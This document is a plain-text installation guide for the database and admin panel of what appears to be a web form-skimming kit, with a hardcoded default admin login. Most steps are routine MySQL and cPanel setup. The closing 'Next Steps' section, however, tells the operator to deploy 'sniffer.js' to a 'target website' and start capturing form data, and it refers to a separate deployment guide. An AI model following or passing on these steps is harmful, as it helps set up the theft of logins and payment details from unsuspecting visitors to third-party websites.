================================================================================
DATABASE IMPORT INSTRUCTIONS - WORKS EVERYWHERE
================================================================================

STEP 1: CREATE DATABASE
------------------------
cPanel / Shared Hosting:
1. Login to cPanel
2. MySQL® Databases
3. Create New Database → Enter name: "mikelodo_db" (or any name)
4. Create Database
5. Add user to database with ALL PRIVILEGES

phpMyAdmin:
1. Login to phpMyAdmin
2. Click "Databases" tab
3. Create database → Enter name → UTF8mb4_unicode_ci
4. Click "Create"

STEP 2: IMPORT SQL FILE
-----------------------
phpMyAdmin Method:
1. Select your database from left sidebar
2. Click "Import" tab
3. Choose file → Browse → Select database.sql
4. Click "Go" button
5. Wait for success message

MySQL Command Line:
mysql -u USERNAME -p DATABASE_NAME < database.sql

STEP 3: UPDATE .ENV FILE
------------------------
Edit .env file with your database info:

DB_HOST=localhost
DB_NAME=mikelodo_db          ← Your database name
DB_USER=mikelodo             ← Your database username
DB_PASS=your_password        ← Your database password

STEP 4: TEST CONNECTION
-----------------------
1. Upload all files to server
2. Access: http://yourdomain.com/login.php
3. Login with:
   Username: admin
   Password: Kontolodon123@

TROUBLESHOOTING
===============

Error: #1044 Access denied to database 'information_schema'
Fix: ✓ FIXED - New database.sql removes this issue

Error: #1044 Access denied for CREATE DATABASE
Fix: ✓ FIXED - Create database manually in cPanel first

Error: Table already exists
Fix: Normal - Script drops existing tables first

Error: Cannot connect to database
Fix: Check .env credentials match cPanel database settings

Error: 500 Internal Server Error
Fix: Check file permissions (644 for .php, 600 for .env)

IMPORTANT NOTES
===============

✓ NO need to edit database.sql file
✓ Just create database in cPanel and import
✓ Works on ANY hosting (shared, VPS, localhost)
✓ No special permissions required
✓ Change admin password after first login

NEXT STEPS
==========

After successful import:
1. Login to admin panel
2. Change password in Profile settings
3. Deploy sniffer.js to target website
4. Start capturing form data

For deployment help, see DEPLOYMENT_GUIDE.txt

================================================================================